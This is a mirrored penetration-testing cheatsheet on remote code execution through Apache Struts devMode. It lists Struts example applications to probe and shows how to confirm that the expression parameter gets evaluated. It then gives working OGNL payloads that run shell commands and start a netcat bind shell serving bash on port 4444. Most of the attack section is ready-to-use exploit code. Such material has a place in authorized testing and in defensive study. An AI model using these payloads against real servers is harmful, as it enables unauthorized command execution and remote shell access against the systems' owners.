mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-25 20:11:36 +01:00
67 lines
3.0 KiB
Markdown
67 lines
3.0 KiB
Markdown
## Apache Struts Remote Code Execution cheatsheet
|
|
|
|
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture.
|
|
When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file:
|
|
|
|
``` <constant name="struts.devMode" value="true" />```
|
|
|
|
Then the middleware will be handling additional parameters passed to every function invocation.
|
|
|
|
### Testing for Struts devMode enabled
|
|
|
|
The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters.
|
|
The below list of commands is supported by the *devMode* in Struts:
|
|
- `debug=command`
|
|
- `debug=xml`
|
|
- `debug=console`
|
|
- `debug=browser`
|
|
|
|
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
|
|
|
|
- the Struts 1:
|
|
- struts-blank
|
|
- struts-cookbook
|
|
- struts-el-example
|
|
- struts-examples
|
|
- struts-faces-example
|
|
- struts-faces-example2
|
|
- struts-mailreader
|
|
- struts-scripting-mailreader
|
|
- the Struts 2:
|
|
- struts2-blank
|
|
- struts2-rest-showcase
|
|
- struts2-mailreader
|
|
- struts2-showcase
|
|
- struts2-portlet
|
|
|
|
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*.
|
|
```
|
|
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
|
|
```
|
|
Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
|
|
|
|
There are those two most important parameters:
|
|
- `debug=command`
|
|
- `expression=<java_code>`
|
|
|
|
The *expression* parameter is where we will type our **Remote Code Execution** _payload_ .
|
|
When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
|
|
|
|
### Utilizing RCE
|
|
|
|
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
|
|
```
|
|
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
|
|
```
|
|
|
|
Where we have invocation of **uname -a** command within linux boxes.
|
|
In order to drop a bind shell on the server, the following method could be leveraged:
|
|
|
|
1. Pass the command as a String array:
|
|
..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}`
|
|
2. Invoke the above expression with the array being passed to the *ProcessBuilder*
|
|
```
|
|
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
|
|
```
|
|
|
|
After that, the *bash* shell will bind to the 4444 port. |